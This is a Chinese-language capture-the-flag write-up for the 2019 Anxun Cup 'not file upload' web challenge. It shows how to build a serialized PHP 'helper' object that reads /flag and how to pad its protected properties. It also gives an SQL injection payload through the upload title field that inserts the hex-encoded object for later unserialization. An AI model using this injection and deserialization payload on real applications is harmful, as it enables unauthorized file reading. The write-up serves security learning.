当前位置:网站首页>[安洵杯 2019]不是文件上传
[安洵杯 2019]不是文件上传
2022-07-05 03:33:00 【paidx0】


buu给了源码链接,还是直接去看源码吧



简单看了一下,意思就是上传图片,假如helper中以序列化形式保存图片,那么在show中就可以反序列化
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
然后因为变量属性是protected 需要在变量名前加上\x00*\x00变量名,private则是要在变量名前加上\x00类名\x00变量名
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
所以下面用\0\0\0去填充,show反序列化前会换回去
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL语句
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title这里是可控的,单引号闭合
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg


边栏推荐
- Acwing第 58 场周赛【完结】
- ICSI213/IECE213 Data Structures
- Devtools的簡單使用
- How to make OS X read bash_ Profile instead of Profile file - how to make OS X to read bash_ profile not . profile file
- [micro service SCG] 33 usages of filters
- Une question est de savoir si Flink SQL CDC peut définir le parallélisme. Si le parallélisme est supérieur à 1, il y aura un problème d'ordre?
- 问下,这个ADB mysql支持sqlserver吗?
- Kubernetes - identity and authority authentication
- Multi person online anonymous chat room / private chat room source code / support the creation of multiple chat rooms at the same time
- Anchor free series network yolox source code line by line explanation four (a total of ten, ensure line by line explanation, after reading, you can change the network at will, not just as a participan
猜你喜欢

VM in-depth learning (XXV) -class file overview

Learning notes of raspberry pie 4B - IO communication (I2C)

The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety

2021 Li Hongyi machine learning (1): basic concepts

Why are there fewer and fewer good products produced by big Internet companies such as Tencent and Alibaba?

Asp+access campus network goods trading platform

2. Common request methods

Port, domain name, protocol.
![[groovy] loop control (number injection function implements loop | times function | upto function | downto function | step function | closure can be written outside as the final parameter)](/img/45/6cb796364efe16d54819ac10fb7d05.jpg)
[groovy] loop control (number injection function implements loop | times function | upto function | downto function | step function | closure can be written outside as the final parameter)

New interesting test applet source code_ Test available
随机推荐
[Yu Yue education] National Open University autumn 2018 8109-22t (1) monetary and banking reference questions
Simple use of devtools
IPv6 experiment
El tree whether leaf node or not, the drop-down button is permanent
有個疑問 flink sql cdc 的話可以設置並行度麼, 並行度大於1會有順序問題吧?
The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
Easy processing of ten-year futures and stock market data -- Application of tdengine in Tongxinyuan fund
2.常见的请求方法
有个疑问 flink sql cdc 的话可以设置并行度么, 并行度大于1会有顺序问题吧?
Use of kubesphere configuration set (configmap)
Apache Web page security optimization
Anchor free series network yolox source code line by line explanation four (a total of ten, ensure line by line explanation, after reading, you can change the network at will, not just as a participan
Three line by line explanations of the source code of anchor free series network yolox (a total of ten articles, which are guaranteed to be explained line by line. After reading it, you can change the
Azkaban installation and deployment
Basic authorization command for Curl
Design and implementation of campus epidemic prevention and control system based on SSM
Anchor free series network yolox source code line by line explanation Part 2 (a total of 10, ensure to explain line by line, after reading, you can change the network at will, not just as a participan
Solve the problem that sqlyog does not have a schema Designer
[luat-air105] 4.1 file system FS
Basic knowledge of tuples